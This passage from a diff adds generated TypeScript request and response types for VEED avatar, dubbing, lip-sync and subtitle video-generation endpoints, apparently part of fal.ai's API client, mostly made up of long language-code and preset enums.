jasmine_vertical_secondary: 'jasmine_vertical_secondary', + jasmine_vertical_walking: 'jasmine_vertical_walking', + aisha_vertical_walking: 'aisha_vertical_walking', + elena_vertical_primary: 'elena_vertical_primary', + elena_vertical_secondary: 'elena_vertical_secondary', + any_male_vertical_primary: 'any_male_vertical_primary', + any_female_vertical_primary: 'any_female_vertical_primary', + any_male_vertical_secondary: 'any_male_vertical_secondary', + any_female_vertical_secondary: 'any_female_vertical_secondary', + any_female_vertical_walking: 'any_female_vertical_walking', + emily_primary: 'emily_primary', + emily_side: 'emily_side', + marcus_primary: 'marcus_primary', + marcus_side: 'marcus_side', + aisha_walking: 'aisha_walking', + elena_primary: 'elena_primary', + elena_side: 'elena_side', + any_male_primary: 'any_male_primary', + any_female_primary: 'any_female_primary', + any_male_side: 'any_male_side', + any_female_side: 'any_female_side', +} as const + +export type InputVeedAvatarsTextToVideoAvatarIdEnumKey = + (typeof inputVeedAvatarsTextToVideoAvatarIdEnum)[keyof typeof inputVeedAvatarsTextToVideoAvatarIdEnum] + +export type InputVeedAvatarsTextToVideo = { + /** + * @example + * Ever wondered how to get that flawless glow? + * Introducing our new skincare line, designed for real life. + * Step one: Cleanse with our gentle, nourishing formula. + * Step two: Apply our hydrating serum for that dewy look. + * Step three: Lock it in with our lightweight moisturizer. + * Feel the difference with every application. + * See the glow? That's the magic of our skincare. + * Use code 'GLOW20' for an exclusive discount. + * Join the skincare revolution today! + * + * @type string + */ + text: string + /** + * @description The avatar to use for the video + * @type string + */ + avatar_id: InputVeedAvatarsTextToVideoAvatarIdEnumKey +} + +export type File6F711D0E = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputVeedAvatarsTextToVideo = { + /** + * @example {"content_type":"video/mp4","url":"https://v3.fal.media/files/panda/kt9d4vZ8Mfw_WzYnvr2Q0_tmp0ir4znsr.mp4"} + * @type object + */ + video: File6F711D0E +} + +export const inputVeedDubbingSourceLanguageEnum = { + auto: 'auto', + af: 'af', + ar: 'ar', + as: 'as', + ast: 'ast', + az: 'az', + be: 'be', + bg: 'bg', + bn: 'bn', + bs: 'bs', + ca: 'ca', + ceb: 'ceb', + cs: 'cs', + cy: 'cy', + da: 'da', + de: 'de', + el: 'el', + en: 'en', + es: 'es', + et: 'et', + fa: 'fa', + fi: 'fi', + fil: 'fil', + fr: 'fr', + ga: 'ga', + gl: 'gl', + gu: 'gu', + ha: 'ha', + he: 'he', + hi: 'hi', + hr: 'hr', + hu: 'hu', + hy: 'hy', + id: 'id', + is: 'is', + it: 'it', + ja: 'ja', + jv: 'jv', + ka: 'ka', + kk: 'kk', + kn: 'kn', + ko: 'ko', + ky: 'ky', + lb: 'lb', + ln: 'ln', + lt: 'lt', + lv: 'lv', + mi: 'mi', + mk: 'mk', + ml: 'ml', + mn: 'mn', + mr: 'mr', + ms: 'ms', + mt: 'mt', + my: 'my', + ne: 'ne', + nl: 'nl', + no: 'no', + ny: 'ny', + oc: 'oc', + or: 'or', + pa: 'pa', + pl: 'pl', + ps: 'ps', + pt: 'pt', + ro: 'ro', + ru: 'ru', + sd: 'sd', + sk: 'sk', + sl: 'sl', + so: 'so', + sr: 'sr', + sv: 'sv', + sw: 'sw', + ta: 'ta', + te: 'te', + tg: 'tg', + th: 'th', + tl: 'tl', + tr: 'tr', + uk: 'uk', + ur: 'ur', + uz: 'uz', + vi: 'vi', + yo: 'yo', + yue: 'yue', + zh: 'zh', +} as const + +export type InputVeedDubbingSourceLanguageEnumKey = + (typeof inputVeedDubbingSourceLanguageEnum)[keyof typeof inputVeedDubbingSourceLanguageEnum] + +export const inputVeedDubbingTargetLanguageEnum = { + af: 'af', + ar: 'ar', + as: 'as', + ast: 'ast', + az: 'az', + be: 'be', + bg: 'bg', + bn: 'bn', + bs: 'bs', + ca: 'ca', + ceb: 'ceb', + cs: 'cs', + cy: 'cy', + da: 'da', + de: 'de', + el: 'el', + en: 'en', + es: 'es', + et: 'et', + fa: 'fa', + fi: 'fi', + fil: 'fil', + fr: 'fr', + ga: 'ga', + gl: 'gl', + gu: 'gu', + ha: 'ha', + he: 'he', + hi: 'hi', + hr: 'hr', + hu: 'hu', + hy: 'hy', + id: 'id', + is: 'is', + it: 'it', + ja: 'ja', + jv: 'jv', + ka: 'ka', + kk: 'kk', + kn: 'kn', + ko: 'ko', + ky: 'ky', + lb: 'lb', + ln: 'ln', + lt: 'lt', + lv: 'lv', + mi: 'mi', + mk: 'mk', + ml: 'ml', + mn: 'mn', + mr: 'mr', + ms: 'ms', + mt: 'mt', + my: 'my', + ne: 'ne', + nl: 'nl', + no: 'no', + ny: 'ny', + oc: 'oc', + or: 'or', + pa: 'pa', + pl: 'pl', + ps: 'ps', + pt: 'pt', + ro: 'ro', + ru: 'ru', + sd: 'sd', + sk: 'sk', + sl: 'sl', + so: 'so', + sr: 'sr', + sv: 'sv', + sw: 'sw', + ta: 'ta', + te: 'te', + tg: 'tg', + th: 'th', + tl: 'tl', + tr: 'tr', + uk: 'uk', + ur: 'ur', + uz: 'uz', + vi: 'vi', + yo: 'yo', + yue: 'yue', + zh: 'zh', +} as const + +export type InputVeedDubbingTargetLanguageEnumKey = + (typeof inputVeedDubbingTargetLanguageEnum)[keyof typeof inputVeedDubbingTargetLanguageEnum] + +export type InputVeedDubbing = { + /** + * @description Language spoken in the video. 'auto' (the default) detects it; set it explicitly if detection picks the wrong language. + * @default 'auto' + * @type string | undefined + */ + source_language?: InputVeedDubbingSourceLanguageEnumKey + /** + * @description Video to dub, up to 10 minutes long and with speech in its audio track. The speech is translated into the target language, and the speakers' lips are synced to the dubbed voices. + * + * Format: `uri` + * @minLength 1 + * @maxLength 2083 + * @example https://v3.fal.media/files/monkey/q1fDPhrpfjfsaRmbhTed4_influencer.mp4 + * @type string + */ + video_url: string + /** + * @description Language to dub into. This model has no regional dialects: a regional tag such as 'fr-FR' is accepted and dubbed in the base language ('fr'). + * @example es + * @type string + */ + target_language: InputVeedDubbingTargetLanguageEnumKey + /** + * @description Names and terms to get right in the dub, such as brand, product or people's names: they help the speech recognition catch these words and the translation keep them as written. Up to 1,000 terms, each at most 50 characters and 5 words, without the characters < > { } [ ] \. + * @default [] + * @type array | undefined + */ + keyterms?: string[] +} + +export type FileBfa4E5F1 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputVeedDubbing = { + /** + * @description The dubbed video, with the speakers' lips synced to the translated speech + * @type object + */ + video: FileBfa4E5F1 +} + +export const inputVeedDubbingProSourceLanguageEnum = { + auto: 'auto', + af: 'af', + ak: 'ak', + am: 'am', + ar: 'ar', + as: 'as', + az: 'az', + be: 'be', + bg: 'bg', + bo: 'bo', + bs: 'bs', + ca: 'ca', + ceb: 'ceb', + cmn: 'cmn', + cs: 'cs', + cy: 'cy', + da: 'da', + de: 'de', + dgo: 'dgo', + el: 'el', + en: 'en', + es: 'es', + et: 'et', + eu: 'eu', + fa: 'fa', + fi: 'fi', + fil: 'fil', + fr: 'fr', + gl: 'gl', + gu: 'gu', + ha: 'ha', + he: 'he', + hi: 'hi', + hr: 'hr', + hu: 'hu', + hy: 'hy', + id: 'id', + is: 'is', + it: 'it', + ja: 'ja', + jv: 'jv', + ka: 'ka', + ki: 'ki', + kk: 'kk', + kn: 'kn', + ko: 'ko', + ky: 'ky', + lg: 'lg', + lt: 'lt', + lv: 'lv', + mk: 'mk', + ml: 'ml', + mn: 'mn', + mr: 'mr', + ms: 'ms', + my: 'my', + ne: 'ne', + nl: 'nl', + no: 'no', + nso: 'nso', + pa: 'pa', + pl: 'pl', + pt: 'pt', + rn: 'rn', + ro: 'ro', + ru: 'ru', + rw: 'rw', + sd: 'sd', + sk: 'sk', + sl: 'sl', + sq: 'sq', + ss: 'ss', + st: 'st', + su: 'su', + sv: 'sv', + sw: 'sw', + ta: 'ta', + te: 'te', + tg: 'tg', + th: 'th', + tn: 'tn', + tr: 'tr', + ts: 'ts', + ug: 'ug', + uk: 'uk', + ur: 'ur', + uz: 'uz', + ve: 've', + vi: 'vi', + war: 'war', + wo: 'wo', + yo: 'yo', + yue: 'yue', + zh: 'zh', + zu: 'zu', +} as const + +export type InputVeedDubbingProSourceLanguageEnumKey = + (typeof inputVeedDubbingProSourceLanguageEnum)[keyof typeof inputVeedDubbingProSourceLanguageEnum] + +export const inputVeedDubbingProTargetLanguageEnum = { + af: 'af', + ak: 'ak', + am: 'am', + ar: 'ar', + 'ar-EG': 'ar-EG', + as: 'as', + az: 'az', + be: 'be', + bg: 'bg', + bo: 'bo', + bs: 'bs', + ca: 'ca', + ceb: 'ceb', + cmn: 'cmn', + cs: 'cs', + cy: 'cy', + da: 'da', + de: 'de', + dgo: 'dgo', + el: 'el', + en: 'en', + 'en-AU': 'en-AU', + 'en-CA': 'en-CA', + 'en-GB': 'en-GB', + 'en-US': 'en-US', + es: 'es', + 'es-AR': 'es-AR', + 'es-CL': 'es-CL', + 'es-ES': 'es-ES', + 'es-MX': 'es-MX', + et: 'et', + eu: 'eu', + fa: 'fa', + fi: 'fi', + fil: 'fil', + fr: 'fr', + 'fr-CA': 'fr-CA', + 'fr-FR': 'fr-FR', + gl: 'gl', + gu: 'gu', + ha: 'ha', + he: 'he', + hi: 'hi', + hr: 'hr', + hu: 'hu', + hy: 'hy', + id: 'id', + is: 'is', + it: 'it', + ja: 'ja', + jv: 'jv', + ka: 'ka', + ki: 'ki', + kk: 'kk', + kn: 'kn', + ko: 'ko', + ky: 'ky', + lg: 'lg', + lt: 'lt', + lv: 'lv', + mk: 'mk', + ml: 'ml', + mn: 'mn', + mr: 'mr', + ms: 'ms', + my: 'my', + ne: 'ne', + nl: 'nl', + no: 'no', + nso: 'nso', + pa: 'pa', + pl: 'pl', + pt: 'pt', + 'pt-BR': 'pt-BR', + 'pt-PT': 'pt-PT', + rn: 'rn', + ro: 'ro', + ru: 'ru', + rw: 'rw', + sd: 'sd', + sk: 'sk', + sl: 'sl', + sq: 'sq', + ss: 'ss', + st: 'st', + su: 'su', + sv: 'sv', + sw: 'sw', + ta: 'ta', + te: 'te', + tg: 'tg', + th: 'th', + tn: 'tn', + tr: 'tr', + ts: 'ts', + ug: 'ug', + uk: 'uk', + ur: 'ur', + uz: 'uz', + ve: 've', + vi: 'vi', + war: 'war', + wo: 'wo', + yo: 'yo', + yue: 'yue', + zh: 'zh', + 'zh-TW': 'zh-TW', + zu: 'zu', +} as const + +export type InputVeedDubbingProTargetLanguageEnumKey = + (typeof inputVeedDubbingProTargetLanguageEnum)[keyof typeof inputVeedDubbingProTargetLanguageEnum] + +export type InputVeedDubbingPro = { + /** + * @description Language spoken in the video. 'auto' (the default) detects it; set it explicitly if detection picks the wrong language. + * @default 'auto' + * @type string | undefined + */ + source_language?: InputVeedDubbingProSourceLanguageEnumKey + /** + * @description Video to dub, up to 10 minutes long and with speech in its audio track. The speech is translated into the target language, and the speakers' lips are synced to the dubbed voices. + * + * Format: `uri` + * @minLength 1 + * @maxLength 2083 + * @example https://v3.fal.media/files/monkey/q1fDPhrpfjfsaRmbhTed4_influencer.mp4 + * @type string + */ + video_url: string + /** + * @description Language to dub into, optionally with a regional dialect (e.g. 'es-MX', 'pt-BR'). Case-insensitive; for a language without dialects the region is ignored ('de-DE' = 'de'), and an unsupported dialect is rejected. + * @example es + * @type string + */ + target_language: InputVeedDubbingProTargetLanguageEnumKey + /** + * @description How closely the dubbed voices match the original speakers, from 0 to 10. Higher keeps more of each speaker's voice and accent; lower sounds more natural in the target language. + * @minimum 0 + * @maximum 10 + * @default 7 + * @type integer | undefined + */ + voice_cloning_strength?: number + /** + * @description Names and terms to get right in the dub, such as brand, product or people's names: they help the speech recognition catch these words and the translation keep them as written. Up to 1,000 terms, each at most 50 characters and 5 words, without the characters < > { } [ ] \. + * @default [] + * @type array | undefined + */ + keyterms?: string[] +} + +export type File1F16Ed11 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputVeedDubbingPro = { + /** + * @description The dubbed video, with the speakers' lips synced to the translated speech + * @type object + */ + video: File1F16Ed11 +} + +export const inputVeedFabric10ResolutionEnum = { + '720p': '720p', + '480p': '480p', +} as const + +export type InputVeedFabric10ResolutionEnumKey = + (typeof inputVeedFabric10ResolutionEnum)[keyof typeof inputVeedFabric10ResolutionEnum] + +export type InputVeedFabric10 = { + /** + * @description + * Format: `uri` + * @minLength 1 + * @maxLength 2083 + * @example https://v3.fal.media/files/elephant/Oz_g4AwQvXtXpUHL3Pa7u_Hope.mp3 + * @type string + */ + audio_url: string + /** + * @description + * Format: `uri` + * @minLength 1 + * @maxLength 2083 + * @example https://v3.fal.media/files/koala/NLVPfOI4XL1cWT2PmmqT3_Hope.png + * @type string + */ + image_url: string + /** + * @description Resolution + * @type string + */ + resolution: InputVeedFabric10ResolutionEnumKey +} + +export type File34381B2F = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputVeedFabric10 = { + /** + * @example {"content_type":"video/mp4","url":"https://v3.fal.media/files/lion/Yha3swLpHm35hoJCs8oJQ_tmp618_yf2f.mp4"} + * @type object + */ + video: File34381B2F +} + +export const inputVeedFabric10FastResolutionEnum = { + '720p': '720p', + '480p': '480p', +} as const + +export type InputVeedFabric10FastResolutionEnumKey = + (typeof inputVeedFabric10FastResolutionEnum)[keyof typeof inputVeedFabric10FastResolutionEnum] + +export type InputVeedFabric10Fast = { + /** + * @description + * Format: `uri` + * @minLength 1 + * @maxLength 2083 + * @example https://v3.fal.media/files/elephant/Oz_g4AwQvXtXpUHL3Pa7u_Hope.mp3 + * @type string + */ + audio_url: string + /** + * @description + * Format: `uri` + * @minLength 1 + * @maxLength 2083 + * @example https://v3.fal.media/files/koala/NLVPfOI4XL1cWT2PmmqT3_Hope.png + * @type string + */ + image_url: string + /** + * @description Resolution + * @type string + */ + resolution: InputVeedFabric10FastResolutionEnumKey +} + +export type File579Cf4E4 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputVeedFabric10Fast = { + /** + * @example {"content_type":"video/mp4","url":"https://v3.fal.media/files/lion/Yha3swLpHm35hoJCs8oJQ_tmp618_yf2f.mp4"} + * @type object + */ + video: File579Cf4E4 +} + +export const inputVeedFabric10TextResolutionEnum = { + '720p': '720p', + '480p': '480p', +} as const + +export type InputVeedFabric10TextResolutionEnumKey = + (typeof inputVeedFabric10TextResolutionEnum)[keyof typeof inputVeedFabric10TextResolutionEnum] + +export type InputVeedFabric10Text = { + /** + * @description Resolution + * @type string + */ + resolution: InputVeedFabric10TextResolutionEnumKey + /** + * @minLength 1 + * @maxLength 2000 + * @example Create talking videos with VEED Fabric-One API. + * @type string + */ + text: string + /** + * @description + * Format: `uri` + * @minLength 1 + * @maxLength 2083 + * @example https://v3.fal.media/files/koala/NLVPfOI4XL1cWT2PmmqT3_Hope.png + * @type string + */ + image_url: string + /** + * @description Optional additional voice description. The primary voice description is auto-generated from the image. You can use simple descriptors like 'British accent' or 'Confident' or provide a detailed description like 'Confident male voice, mid-20s, with notes of...' + */ + voice_description?: string | null +} + +export type File1F1Cbcd9 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputVeedFabric10Text = { + /** + * @example {"content_type":"audio/mp4","url":"https://v3b.fal.media/files/b/0a8604be/zVkoAB4hTa8g6Fyl6V733_tmpy1fslwp2.mp4"} + * @type object + */ + video: File1F1Cbcd9 +} + +export type InputVeedLipsync = { + /** + * @description + * Format: `uri` + * @minLength 1 + * @maxLength 2083 + * @example https://v3.fal.media/files/monkey/q1fDPhrpfjfsaRmbhTed4_influencer.mp4 + * @type string + */ + video_url: string + /** + * @description + * Format: `uri` + * @minLength 1 + * @maxLength 2083 + * @example https://v3.fal.media/files/rabbit/Ql3ade3wEKlZXRQLRbhxm_tts.mp3 + * @type string + */ + audio_url: string +} + +export type File973Af330 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputVeedLipsync = { + /** + * @example {"content_type":"video/mp4","url":"https://v3.fal.media/files/penguin/PsA4BJPGAojXKW2QGztm4_tmpe_e1cgbq.mp4"} + * @type object + */ + video: File973Af330 +} + +export type InputVeedLipsyncV2 = { + /** + * @description New audio track to articulate + * + * Format: `uri` + * @minLength 1 + * @maxLength 2083 + * @example https://v3.fal.media/files/rabbit/Ql3ade3wEKlZXRQLRbhxm_tts.mp3 + * @type string + */ + audio_url: string + /** + * @description Source video to lipsync + * + * Format: `uri` + * @minLength 1 + * @maxLength 2083 + * @example https://v3.fal.media/files/monkey/q1fDPhrpfjfsaRmbhTed4_influencer.mp4 + * @type string + */ + video_url: string +} + +export type File7D7892E3 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputVeedLipsyncV2 = { + /** + * @description Lipsynced video + * @type object + */ + video: File7D7892E3 +} + +/** + * @description Per-tier text overrides. No italic field (preset-dictated, see ENR-2516). + * @type object + */ +export type TextCustomization = { + /** + * @description Override the font used for this text tier. Must be a supported Google Font — see https://www.veed.io/api/v1/subtitle-renders/fonts for the canonical list. Unrecognized fonts are rejected with a 400. + */ + font?: string | null + /** + * @description Font weight 100-900. Values >= 700 render as bold + */ + weight?: number | null + /** + * @description Override the text color for this tier. + */ + color?: string | null +} + +/** + * @description Text customization keyed by word-importance tier. + * @type object + */ +export type TextCustomizations = { + /** + * @description Mid-rank words (automatically marked as noteworthy: key nouns, action verbs, salient adjectives). Presets typically bump size or weight on these. + */ + highlighted?: TextCustomization | null + /** + * @description Baseline styling applied to every word in the transcript. This is what a reader sees by default, before any per-word emphasis is applied. + */ + baseline?: TextCustomization | null +} + +export const presetCustomizationShadow = { + none: 'none', + min: 'min', + mid: 'mid', + max: 'max', +} as const + +export type PresetCustomizationShadowKey = + (typeof presetCustomizationShadow)[keyof typeof presetCustomizationShadow] + +export const presetCustomizationPosition = { + top: 'top', + center: 'center', + bottom: 'bottom', +} as const + +export type PresetCustomizationPositionKey = + (typeof presetCustomizationPosition)[keyof typeof presetCustomizationPosition] + +/** + * @description Runtime customization of a preset. Fields are Optional all the way down + * so this block can sit under the playground's 'Additional Settings' section + * without flagging required-field asterisks the user didn't ask for. + * @type object + */ +export type PresetCustomization = { + /** + * @description Improves readability over bright or busy backgrounds. + */ + shadow?: PresetCustomizationShadowKey | null + /** + * @description Per-tier text styling for baseline and highlighted words. + */ + text_customizations?: TextCustomizations | null + /** + * @description Vertical placement of static subtitles on screen. + */ + position?: PresetCustomizationPositionKey | null +} + +/** + * @description A term auto-transcription should recognise correctly, plus its common misspellings. + * @type object + */ +export type VocabularyEntry = { + /** + * @description The correctly-spelled term. Brand names, product names, and domain jargon work best. + * @minLength 1 + * @maxLength 100 + * @example VEED + * @example TikTok + * @type string + */ + word: string + /** + * @description Misspellings that should be replaced with `word`. Matched whole-word and case-insensitively — list each misspelling once; you don't need to enumerate casings (e.g. `['vid']` already covers `Vid`, `VID`). + * @example ["vid","feed"] + * @type array + */ + replaces: string[] +} + +export const inputVeedSubtitlesTranslationLanguage = { + ab: 'ab', + ace: 'ace', + ach: 'ach', + 'af-ZA': 'af-ZA', + ak: 'ak', + alz: 'alz', + 'am-ET': 'am-ET', + 'ar-AE': 'ar-AE', + 'ar-BH': 'ar-BH', + 'ar-DZ': 'ar-DZ', + 'ar-EG': 'ar-EG', + 'ar-IL': 'ar-IL', + 'ar-IQ': 'ar-IQ', + 'ar-JO': 'ar-JO', + 'ar-KW': 'ar-KW', + 'ar-LB': 'ar-LB', + 'ar-MA': 'ar-MA', + 'ar-OM': 'ar-OM', + 'ar-PS': 'ar-PS', + 'ar-QA': 'ar-QA', + 'ar-SA': 'ar-SA', + 'ar-TN': 'ar-TN', + awa: 'awa', + ay: 'ay', + 'az-AZ': 'az-AZ', + ban: 'ban', + bbc: 'bbc', + 'be-BY': 'be-BY', + bem: 'bem', + bew: 'bew', + 'bg-BG': 'bg-BG', + bho: 'bho', + bik: 'bik', + bm: 'bm', + 'bs-BA': 'bs-BA', + bts: 'bts', + btx: 'btx', + bua: 'bua', + 'ca-ES': 'ca-ES', + 'ceb-PH': 'ceb-PH', + cgg: 'cgg', + chm: 'chm', + 'ckb-IQ': 'ckb-IQ', + cnh: 'cnh', + co: 'co', + crh: 'crh', + crs: 'crs', + 'cs-CZ': 'cs-CZ', + cv: 'cv', + 'cy-GB': 'cy-GB', + 'da-DK': 'da-DK', + 'de-DE': 'de-DE', + din: 'din', + doi: 'doi', + dov: 'dov', + dv: 'dv', + dz: 'dz', + ee: 'ee', + 'el-GR': 'el-GR', + 'en-AU': 'en-AU', + 'en-GB': 'en-GB', + 'en-IN': 'en-IN', + 'en-NZ': 'en-NZ', + 'en-US': 'en-US', + eo: 'eo', + 'es-AR': 'es-AR', + 'es-BO': 'es-BO', + 'es-CL': 'es-CL', + 'es-CO': 'es-CO', + 'es-CR': 'es-CR', + 'es-DO': 'es-DO', + 'es-EC': 'es-EC', + 'es-ES': 'es-ES', + 'es-GT': 'es-GT', + 'es-HN': 'es-HN', + 'es-MX': 'es-MX', + 'es-NI': 'es-NI', + 'es-PA': 'es-PA', + 'es-PE': 'es-PE', + 'es-PR': 'es-PR', + 'es-PY': 'es-PY', + 'es-SV': 'es-SV', + 'es-US': 'es-US', + 'es-UY': 'es-UY', + 'es-VE': 'es-VE', + 'et-EE': 'et-EE', + 'eu-ES': 'eu-ES', + 'fa-IR': 'fa-IR', + ff: 'ff', + 'fi-FI': 'fi-FI', + 'fil-PH': 'fil-PH', + fj: 'fj', + 'fr-CA': 'fr-CA', + 'fr-FR': 'fr-FR', + fy: 'fy', + ga: 'ga', + gaa: 'gaa', + gd: 'gd', + 'gl-ES': 'gl-ES', + gn: 'gn', + gom: 'gom', + 'ha-NG': 'ha-NG', + haw: 'haw', + 'he-IL': 'he-IL', + hil: 'hil', + hmn: 'hmn', + 'hr-HR': 'hr-HR', + hrx: 'hrx', + ht: 'ht', + 'hu-HU': 'hu-HU', + 'hy-AM': 'hy-AM', + 'id-ID': 'id-ID', + ig: 'ig', + ilo: 'ilo', + 'is-IS': 'is-IS', + 'it-IT': 'it-IT', + 'ja-JP': 'ja-JP', + 'ja-Latn-JP': 'ja-Latn-JP', + 'jv-ID': 'jv-ID', + 'ka-GE': 'ka-GE', + 'kk-KZ': 'kk-KZ', + 'ko-KR': 'ko-KR', + kri: 'kri', + ktu: 'ktu', + ku: 'ku', + 'ky-KG': 'ky-KG', + la: 'la', + 'lb-LU': 'lb-LU', + lg: 'lg', + li: 'li', + lij: 'lij', + lmo: 'lmo', + 'ln-CD': 'ln-CD', + 'lo-LA': 'lo-LA', + 'lt-LT': 'lt-LT', + ltg: 'ltg', + 'luo-KE': 'luo-KE', + lus: 'lus', + 'lv-LV': 'lv-LV', + mai: 'mai', + mak: 'mak', + mg: 'mg', + 'mi-NZ': 'mi-NZ', + min: 'min', + 'mk-MK': 'mk-MK', + 'mn-MN': 'mn-MN', + 'mni-Mtei': 'mni-Mtei', + 'ms-Arab': 'ms-Arab', + 'ms-MY': 'ms-MY', + 'mt-MT': 'mt-MT', + 'nb-NO': 'nb-NO', + new: 'new', + 'nl-NL': 'nl-NL', + nr: 'nr', + 'nso-ZA': 'nso-ZA', + nus: 'nus', + 'ny-MW': 'ny-MW', + 'oc-FR': 'oc-FR', + om: 'om', + pag: 'pag', + pam: 'pam', + pap: 'pap', + 'pl-PL': 'pl-PL', + 'ps-AF': 'ps-AF', + 'pt-BR': 'pt-BR', + 'pt-PT': 'pt-PT', + qu: 'qu', + rn: 'rn', + 'ro-RO': 'ro-RO', + rom: 'rom', + 'ru-RU': 'ru-RU', + 'rw-RW': 'rw-RW', + scn: 'scn', + sg: 'sg', + shn: 'shn', + 'sk-SK': 'sk-SK', + 'sl-SI': 'sl-SI', + sm: 'sm', + 'sn-ZW': 'sn-ZW', + 'so-SO': 'so-SO', + 'sq-AL': 'sq-AL', + 'sr-Latn-RS': 'sr-Latn-RS', + 'sr-RS': 'sr-RS', + ss: 'ss', + st: 'st', + 'su-ID': 'su-ID', + 'sv-SE': 'sv-SE', + 'sw-KE': 'sw-KE', + 'sw-TZ': 'sw-TZ', + szl: 'szl', + tet: 'tet', + 'tg-TJ': 'tg-TJ', + 'th-TH': 'th-TH', + ti: 'ti', + tk: 'tk', + tn: 'tn', + 'tr-TR': 'tr-TR', + 'ts-ZA': 'ts-ZA', + tt: 'tt', + ug: 'ug', + 'uk-UA': 'uk-UA', + 'ur-IN': 'ur-IN', + 'ur-PK': 'ur-PK', + 'uz-UZ': 'uz-UZ', + 'vi-VN': 'vi-VN', + 'xh-ZA': 'xh-ZA', + yi: 'yi', + 'yo-NG': 'yo-NG', + yua: 'yua', + 'yue-Hant-HK': 'yue-Hant-HK', + zh: 'zh', + 'zh-HK': 'zh-HK', + 'zh-TW': 'zh-TW', + 'zu-ZA': 'zu-ZA', +} as const + +export type InputVeedSubtitlesTranslationLanguageKey = + (typeof inputVeedSubtitlesTranslationLanguage)[keyof typeof inputVeedSubtitlesTranslationLanguage] + +export const inputVeedSubtitlesPresetEnum = { + glass: 'glass', + whisper: 'whisper', + glide2: 'glide2', + fusion: 'fusion', + glide: 'glide', + terminal: 'terminal', + handwritten: 'handwritten', + backdrop: 'backdrop', + backdrop2: 'backdrop2', + simple: 'simple', + plain: 'plain', + beans: 'beans', + corpo: 'corpo', + boo: 'boo', + shadeplay: 'shadeplay', + casper: 'casper', + capri: 'capri', + lowkey: 'lowkey', + vinta: 'vinta', + diego: 'diego', + ali: 'ali', + slay: 'slay', + kitty: 'kitty', + hustle: 'hustle', + karl: 'karl', + sprout: 'sprout', + flex: 'flex', + mint: 'mint', + rizz: 'rizz', + vegas: 'vegas', +} as const + +export type InputVeedSubtitlesPresetEnumKey = + (typeof inputVeedSubtitlesPresetEnum)[keyof typeof inputVeedSubtitlesPresetEnum] + +export const inputVeedSubtitlesLanguage = { + 'af-ZA': 'af-ZA', + 'am-ET': 'am-ET', + 'ar-AE': 'ar-AE', + 'ar-BH': 'ar-BH', + 'ar-DZ': 'ar-DZ', + 'ar-EG': 'ar-EG', + 'ar-IL': 'ar-IL', + 'ar-IQ': 'ar-IQ', + 'ar-JO': 'ar-JO', + 'ar-KW': 'ar-KW', + 'ar-LB': 'ar-LB', + 'ar-MA': 'ar-MA', + 'ar-OM': 'ar-OM', + 'ar-PS': 'ar-PS', + 'ar-QA': 'ar-QA', + 'ar-SA': 'ar-SA', + 'ar-TN': 'ar-TN', + 'ast-ES': 'ast-ES', + 'az-AZ': 'az-AZ', + ba: 'ba', + bas: 'bas', + 'be-BY': 'be-BY', + 'bg-BG': 'bg-BG', + br: 'br', + 'bs-BA': 'bs-BA', + 'ca-ES': 'ca-ES', + 'ceb-PH': 'ceb-PH', + 'ckb-IQ': 'ckb-IQ', + 'cs-CZ': 'cs-CZ', + 'cy-GB': 'cy-GB', + 'da-DK': 'da-DK', + 'de-DE': 'de-DE', + dyu: 'dyu', + 'el-GR': 'el-GR', + 'en-AU': 'en-AU', + 'en-GB': 'en-GB', + 'en-IN': 'en-IN', + 'en-NZ': 'en-NZ', + 'en-US': 'en-US', + eo: 'eo', + 'es-AR': 'es-AR', + 'es-BO': 'es-BO', + 'es-CL': 'es-CL', + 'es-CO': 'es-CO', + 'es-CR': 'es-CR', + 'es-DO': 'es-DO', + 'es-EC': 'es-EC', + 'es-ES': 'es-ES', + 'es-GT': 'es-GT', + 'es-HN': 'es-HN', + 'es-MX': 'es-MX', + 'es-NI': 'es-NI', + 'es-PA': 'es-PA', + 'es-PE': 'es-PE', + 'es-PR': 'es-PR', + 'es-PY': 'es-PY', + 'es-SV': 'es-SV', + 'es-US': 'es-US', + 'es-UY': 'es-UY', + 